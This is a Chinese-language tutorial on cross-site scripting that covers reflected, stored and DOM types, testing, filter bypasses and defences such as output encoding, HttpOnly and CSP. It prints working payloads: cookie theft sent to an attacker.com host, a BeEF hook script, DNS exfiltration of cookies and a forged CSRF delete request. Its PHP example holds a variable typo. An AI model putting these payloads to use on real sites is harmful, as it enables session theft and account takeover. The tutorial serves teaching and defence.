浅谈XSS
字数 1827 2025-08-05 19:10:09

XSS漏洞全面解析与防御指南

一、XSS基础概念

1.1 XSS定义

跨站脚本攻击(Cross Site Scripting,简称XSS)是一种前端漏洞,攻击者在网页中嵌入客户端脚本(主要是JavaScript),当用户浏览被植入恶意代码的网页时,恶意代码将在用户浏览器上执行。

1.2 XSS危害

  • 盗取用户cookie和会话信息
  • 进行钓鱼攻击
  • 流量劫持
  • 配合其他漏洞进行组合攻击(如网页木马)
  • 获取后台管理员权限

二、XSS类型详解

2.1 反射型XSS(非持续型)

特点

  • 非持久化攻击
  • 需要用户点击构造的特殊链接才能触发
  • 不会存储到数据库中
  • 常见于搜索、查询类页面

利用过程

  1. 攻击者构造包含恶意脚本的URL
  2. 诱骗用户点击该URL
  3. 服务器返回包含恶意脚本的页面
  4. 用户浏览器执行恶意脚本

示例

<?php 
$xss = $_GET['x']; 
echo $ss; 
// 访问: 127.0.0.1/test/xss.php?x=<script>alert(1)</script>

2.2 存储型XSS(持续型)

特点

  • 持久化攻击
  • 恶意代码存储在服务器数据库中
  • 所有访问受影响页面的用户都会受到攻击
  • 常见于留言板、评论区、用户资料等位置

利用过程

  1. 攻击者将恶意代码提交到网站(如留言)
  2. 恶意代码被存储到数据库
  3. 其他用户访问受影响页面
  4. 恶意代码自动执行

2.3 DOM型XSS

特点

  • 完全在客户端执行,不与服务器交互
  • 基于JavaScript对DOM的操作
  • 难以被传统防护手段检测

示例代码

<script>
var temp = document.URL;
var index = document.URL.indexOf("content=")+4;
var par = temp.substring(index);
document.write(decodeURI(par));
</script>

访问:网址?content=<script>alert(/xss/)</script>

三、XSS漏洞挖掘技术

3.1 手工检测方法

  1. 输入测试字符<, >, ", ', (), &
  2. 查看HTML源码,确认特殊字符是否被转义
  3. 使用AAAA<>'''&等易识别字符串辅助定位
  4. 对于不可见输出位置,尝试输入"/>XSS Test

3.2 自动化工具

  • AWVS
  • AppScan
  • XSSER
  • XSSF

3.3 特殊技巧

伪造HTTP头XSS

  1. 使用Firefox插件(X-Forwarded-For Header或Modify Headers)
  2. 伪造X-Forwarded-ForClient-IP头为XSS代码
  3. 针对使用特定函数(X_FORWARDED_FORHTTP_CLIENT_IP)获取IP的网站

四、XSS利用技术详解

4.1 基本利用方式

  1. 盗取Cookie
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
  1. 钓鱼攻击
window.location.href = "http://fake.site/login.php";
  1. BeEF框架利用
<script src="http://攻击者IP:3000/hook.js"></script>

4.2 绕过过滤技巧

  1. 大小写绕过
<ScRiPt>alert(1)</sCrIpT>
  1. 使用HTML标签属性

<svg onload=alert(1)>
  1. 编码绕过
<iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;">
  1. 伪协议利用
<a href="javascript:alert(1)">click</a>
  1. Base64编码
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

五、XSS防御方案

5.1 输入输出过滤

  1. PHP过滤函数
htmlentities($input, ENT_QUOTES);
htmlspecialchars($input, ENT_QUOTES);
  1. 过滤特殊字符
  • &&amp;
  • "&quot;
  • '&#039;
  • <&lt;
  • >&gt;

5.2 HttpOnly属性

  • 设置Cookie的HttpOnly属性防止JavaScript访问
  • 示例(ASP.NET):
Set-Cookie: ASP.NET_SessionId=...; HttpOnly

5.3 内容安全策略(CSP)

通过HTTP头定义允许加载的资源:

Content-Security-Policy: default-src 'self'

5.4 其他防御措施

  1. 输入长度限制
  2. 白名单过滤
  3. 使用安全的DOM API替代innerHTML等危险方法
  4. 对动态生成的JavaScript代码进行编码

六、XSS测试与验证工具

6.1 XSS平台

  • XSS Platform (https://xss.pt/)
  • 自建平台(BlueLotus_XSSReceiver)

6.2 BeEF框架

  1. 启动:
beef-xss
  1. 使用hook:
<script src="http://IP:3000/hook.js"></script>
  1. 功能模块:
  • 获取Cookie
  • 重定向
  • 键盘记录
  • 社会工程攻击等

七、高级利用场景

7.1 XSS盲打

  • 攻击后台管理界面
  • 需要管理员查看才会触发
  • 常用于留言板、工单系统等

7.2 配合CSRF

var xhr = new XMLHttpRequest();
xhr.open("POST", "/admin/delete.php", true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("id=1");

7.3 DNSlog回显

  • 用于无回显的XSS场景
  • 通过DNS请求外带数据
  • 示例:
var img = new Image();
img.src = "http://" + document.cookie + ".attacker.com";

八、总结与最佳实践

8.1 开发建议

  1. 对所有不可信数据进行严格的输出编码
  2. 使用安全的API处理用户输入
  3. 实施内容安全策略(CSP)
  4. 为所有Cookie设置HttpOnly和Secure标志

8.2 测试流程

  1. 识别所有用户输入点
  2. 测试基本XSS向量(<script>alert(1)</script>)
  3. 尝试绕过过滤
  4. 验证输出上下文(HTML/JS/URL等)
  5. 检查防护措施是否全面

通过全面理解XSS漏洞的原理、利用方式和防御措施,开发人员可以构建更安全的Web应用,安全人员也能更有效地发现和修复XSS漏洞。

XSS漏洞全面解析与防御指南 一、XSS基础概念 1.1 XSS定义 跨站脚本攻击(Cross Site Scripting,简称XSS)是一种前端漏洞,攻击者在网页中嵌入客户端脚本(主要是JavaScript),当用户浏览被植入恶意代码的网页时,恶意代码将在用户浏览器上执行。 1.2 XSS危害 盗取用户cookie和会话信息 进行钓鱼攻击 流量劫持 配合其他漏洞进行组合攻击(如网页木马) 获取后台管理员权限 二、XSS类型详解 2.1 反射型XSS(非持续型) 特点 : 非持久化攻击 需要用户点击构造的特殊链接才能触发 不会存储到数据库中 常见于搜索、查询类页面 利用过程 : 攻击者构造包含恶意脚本的URL 诱骗用户点击该URL 服务器返回包含恶意脚本的页面 用户浏览器执行恶意脚本 示例 : 2.2 存储型XSS(持续型) 特点 : 持久化攻击 恶意代码存储在服务器数据库中 所有访问受影响页面的用户都会受到攻击 常见于留言板、评论区、用户资料等位置 利用过程 : 攻击者将恶意代码提交到网站(如留言) 恶意代码被存储到数据库 其他用户访问受影响页面 恶意代码自动执行 2.3 DOM型XSS 特点 : 完全在客户端执行,不与服务器交互 基于JavaScript对DOM的操作 难以被传统防护手段检测 示例代码 : 访问: 网址?content=<script>alert(/xss/)</script> 三、XSS漏洞挖掘技术 3.1 手工检测方法 输入测试字符 : < , > , " , ' , () , & 等 查看HTML源码,确认特殊字符是否被转义 使用 AAAA<>'''& 等易识别字符串辅助定位 对于不可见输出位置,尝试输入 "/>XSS Test 3.2 自动化工具 AWVS AppScan XSSER XSSF 3.3 特殊技巧 伪造HTTP头XSS : 使用Firefox插件(X-Forwarded-For Header或Modify Headers) 伪造 X-Forwarded-For 或 Client-IP 头为XSS代码 针对使用特定函数( X_FORWARDED_FOR 或 HTTP_CLIENT_IP )获取IP的网站 四、XSS利用技术详解 4.1 基本利用方式 盗取Cookie : 钓鱼攻击 : BeEF框架利用 : 4.2 绕过过滤技巧 大小写绕过 : 使用HTML标签属性 : 编码绕过 : 伪协议利用 : Base64编码 : 五、XSS防御方案 5.1 输入输出过滤 PHP过滤函数 : 过滤特殊字符 : & → &amp; " → &quot; ' → &#039; < → &lt; > → &gt; 5.2 HttpOnly属性 设置Cookie的HttpOnly属性防止JavaScript访问 示例(ASP.NET): 5.3 内容安全策略(CSP) 通过HTTP头定义允许加载的资源: 5.4 其他防御措施 输入长度限制 白名单过滤 使用安全的DOM API替代innerHTML等危险方法 对动态生成的JavaScript代码进行编码 六、XSS测试与验证工具 6.1 XSS平台 XSS Platform (https://xss.pt/) 自建平台(BlueLotus_ XSSReceiver) 6.2 BeEF框架 启动: 使用hook: 功能模块: 获取Cookie 重定向 键盘记录 社会工程攻击等 七、高级利用场景 7.1 XSS盲打 攻击后台管理界面 需要管理员查看才会触发 常用于留言板、工单系统等 7.2 配合CSRF 7.3 DNSlog回显 用于无回显的XSS场景 通过DNS请求外带数据 示例: 八、总结与最佳实践 8.1 开发建议 对所有不可信数据进行严格的输出编码 使用安全的API处理用户输入 实施内容安全策略(CSP) 为所有Cookie设置HttpOnly和Secure标志 8.2 测试流程 识别所有用户输入点 测试基本XSS向量( <script>alert(1)</script> ) 尝试绕过过滤 验证输出上下文(HTML/JS/URL等) 检查防护措施是否全面 通过全面理解XSS漏洞的原理、利用方式和防御措施,开发人员可以构建更安全的Web应用,安全人员也能更有效地发现和修复XSS漏洞。